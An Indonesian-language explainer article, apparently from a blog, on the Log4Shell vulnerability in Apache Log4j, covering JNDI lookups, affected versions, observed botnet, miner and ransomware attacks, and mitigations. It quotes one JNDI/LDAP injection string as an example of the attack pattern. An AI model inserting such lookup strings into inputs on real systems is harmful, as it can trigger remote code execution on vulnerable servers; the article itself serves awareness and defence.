Daftar Isi[Bersembunyi][Menunjukkan]
Pada akhir November 2021, kami menemukan ancaman besar terhadap keamanan siber. Eksploitasi ini berpotensi mempengaruhi jutaan sistem komputer di seluruh dunia.
Ini adalah panduan tentang kerentanan Log4j dan bagaimana cacat desain yang diabaikan membuat lebih dari 90% layanan komputer dunia terbuka untuk diserang.
Apache Log4j adalah utilitas logging berbasis Java open-source yang dikembangkan oleh Apache Software Foundation. Awalnya ditulis oleh Ceki Gülcü pada tahun 2001, sekarang menjadi bagian dari Apache Logging Services, sebuah proyek dari Apache Software Foundation.
Perusahaan di seluruh dunia menggunakan perpustakaan Log4j untuk mengaktifkan logging pada aplikasi mereka. Faktanya, perpustakaan Java ada di mana-mana, Anda dapat menemukannya di aplikasi dari Amazon, Microsoft, Google, dan banyak lagi.
Keunggulan perpustakaan berarti bahwa setiap potensi cacat dalam kode dapat membuat jutaan komputer terbuka untuk diretas. Pada 24 November 2021, a awan keamanan peneliti yang bekerja untuk Alibaba menemukan kelemahan yang mengerikan.
Kerentanan Log4j, juga dikenal sebagai Log4Shell, muncul tanpa diketahui sejak 2013. Kerentanan tersebut memungkinkan pelaku jahat menjalankan kode pada sistem yang terpengaruh yang menjalankan Log4j. Itu diungkapkan kepada publik pada 9 Desember 2021
Pakar industri menyebut kelemahan Log4Shell sebagai "the" kerentanan terbesar dalam memori baru-baru ini.
Seminggu setelah kerentanan dipublikasikan, tim keamanan siber mendeteksi jutaan serangan. Beberapa peneliti bahkan mengamati tingkat lebih dari seratus serangan per menit.
Bagaimana cara kerjanya?
Untuk memahami mengapa Log4Shell sangat berbahaya, kita perlu memahami kemampuannya.
Kerentanan Log4Shell memungkinkan eksekusi kode arbitrer, yang pada dasarnya berarti penyerang dapat menjalankan perintah atau kode apa pun pada mesin target.
Bagaimana cara mencapai ini?
Pertama, kita perlu memahami apa itu JNDI.
Java Naming and Directory Interface (JNDI) adalah layanan Java yang memungkinkan program Java untuk menemukan dan mencari data dan sumber daya melalui nama. Layanan direktori ini penting karena menyediakan kumpulan catatan yang terorganisir bagi pengembang untuk dirujuk dengan mudah saat membuat aplikasi.
JNDI dapat menggunakan berbagai protokol untuk mengakses direktori tertentu. Salah satu protokol ini adalah Protokol Akses Direktori Ringan, atau LDAP.
Saat mencatat string, log4j melakukan substitusi string ketika mereka menemukan ekspresi formulir ${prefix:name}
.
Sebagai contoh, Text: ${java:version}
mungkin dicatat sebagai Teks: Java versi 1.8.0_65. Pergantian semacam ini biasa terjadi.
Kami juga dapat memiliki ekspresi seperti Text: ${jndi:ldap://example.com/file}
yang menggunakan sistem JNDI untuk memuat objek Java dari URL melalui protokol LDAP.
Ini secara efektif memuat data yang berasal dari URL itu ke dalam mesin. Setiap peretas potensial dapat meng-host kode berbahaya pada URL publik dan menunggu mesin yang menggunakan Log4j untuk mencatatnya.
Karena konten pesan log berisi data yang dikontrol pengguna, peretas dapat memasukkan referensi JNDI mereka sendiri yang mengarah ke server LDAP yang mereka kontrol. Server LDAP ini dapat penuh dengan objek Java berbahaya yang dapat dijalankan oleh JNDI melalui kerentanan.
Yang membuat ini lebih buruk adalah tidak masalah apakah aplikasi tersebut adalah aplikasi sisi server atau sisi klien.
Selama ada cara bagi logger untuk membaca kode berbahaya penyerang, aplikasi masih terbuka untuk dieksploitasi.
Siapa yang terpengaruh?
Kerentanan mempengaruhi semua sistem dan layanan yang menggunakan APache Log4j, dengan versi 2.0 hingga dan termasuk 2.14.1.
Beberapa pakar keamanan menyarankan bahwa kerentanan dapat berdampak pada sejumlah aplikasi yang menggunakan Java.
Cacat ini pertama kali ditemukan dalam video game Minecraft milik Microsoft. Microsoft telah mendesak penggunanya untuk meningkatkan perangkat lunak Minecraft edisi Java mereka untuk mencegah risiko apa pun.
Jen Easterly, Direktur Cybersecurity and Infrastructure Security Agency (CISA) mengatakan bahwa vendor memiliki tanggung jawab utama untuk mencegah pengguna akhir dari pelaku jahat yang mengeksploitasi kerentanan ini.
“Vendor juga harus berkomunikasi dengan pelanggan mereka untuk memastikan pengguna akhir tahu bahwa produk mereka mengandung kerentanan ini dan harus memprioritaskan pembaruan perangkat lunak.”
Serangan dilaporkan sudah dimulai. Symantec, sebuah perusahaan yang menyediakan perangkat lunak keamanan siber, telah mengamati jumlah permintaan serangan yang bervariasi.
Berikut adalah beberapa contoh jenis serangan yang telah dideteksi oleh peneliti:
- botnet
Botnet adalah jaringan komputer yang berada di bawah kendali satu pihak penyerang. Mereka membantu melakukan serangan DDoS, mencuri data, dan penipuan lainnya. Peneliti mengamati botnet Muhstik dalam skrip shell yang diunduh dari eksploitasi Log4j.
- Trojan Penambang XMRig
XMRig adalah penambang cryptocurrency open-source yang menggunakan CPU untuk menambang token Monero. Penjahat dunia maya dapat menginstal XMRig di perangkat orang sehingga mereka dapat menggunakan kekuatan pemrosesan mereka tanpa sepengetahuan mereka.
- Ransomware Khonsari
Ransomware mengacu pada bentuk malware yang dirancang untuk mengenkripsi file di komputer. Penyerang kemudian dapat meminta pembayaran sebagai imbalan untuk memberikan akses kembali ke file terenkripsi. Para peneliti menemukan ransomware Khonsari dalam serangan Log4Shell. Mereka menargetkan server Windows dan menggunakan kerangka .NET.
Apa yang akan terjadi selanjutnya?
Para ahli memperkirakan mungkin diperlukan waktu berbulan-bulan atau bahkan bertahun-tahun untuk sepenuhnya memperbaiki kekacauan yang disebabkan oleh kerentanan Log4J.
Proses ini melibatkan pembaruan setiap sistem yang terpengaruh dengan versi yang ditambal. Bahkan jika semua sistem ini ditambal, masih ada ancaman kemungkinan pintu belakang yang mungkin telah ditambahkan oleh peretas ke jendela tempat server terbuka untuk diserang.
Banyak solusi dan mitigasi ada untuk mencegah aplikasi dieksploitasi oleh bug ini. Log4j versi 2.15.0-rc1 yang baru mengubah berbagai pengaturan untuk mengurangi kerentanan ini.
Semua fitur yang menggunakan JNDI akan dinonaktifkan secara default dan pencarian jarak jauh juga dibatasi. Menonaktifkan fitur pencarian pada pengaturan Log4j Anda akan membantu mengurangi risiko kemungkinan eksploitasi.
Di luar Log4j, masih diperlukan rencana yang lebih luas untuk mencegah eksploitasi sumber terbuka.
Sebelumnya pada bulan Mei, Gedung Putih merilis sebuah perintah eksekutif yang bertujuan untuk meningkatkan keamanan siber nasional. Ini termasuk ketentuan untuk tagihan perangkat lunak (SBOM) yang pada dasarnya adalah dokumen formal yang berisi daftar setiap item yang diperlukan untuk membangun aplikasi.
Ini termasuk bagian-bagian seperti: open source paket, dependensi, dan API yang digunakan untuk pengembangan. Meskipun ide SBOM sangat membantu untuk transparansi, apakah itu benar-benar membantu konsumen?
Memutakhirkan dependensi mungkin terlalu merepotkan. Perusahaan dapat memilih untuk membayar denda apa pun daripada mengambil risiko membuang waktu ekstra untuk mencari paket alternatif. Mungkin SBOM ini hanya akan berguna jika mereka cakupan terbatas lebih jauh.
Kesimpulan
Masalah Log4j lebih dari sekadar masalah teknis untuk organisasi.
Pemimpin bisnis harus menyadari potensi risiko yang dapat terjadi ketika server, produk, atau layanan mereka mengandalkan kode yang tidak mereka kelola sendiri.
Mengandalkan aplikasi open-source dan pihak ketiga selalu disertai dengan sejumlah risiko. Perusahaan harus mempertimbangkan untuk menyusun strategi mitigasi risiko sebelum ancaman baru terungkap.
Sebagian besar web bergantung pada perangkat lunak sumber terbuka yang dikelola oleh ribuan sukarelawan di seluruh dunia.
Jika kita ingin menjaga web tetap aman, pemerintah dan perusahaan harus berinvestasi dalam mendanai upaya sumber terbuka dan badan keamanan siber seperti CISA.
Tinggalkan Balasan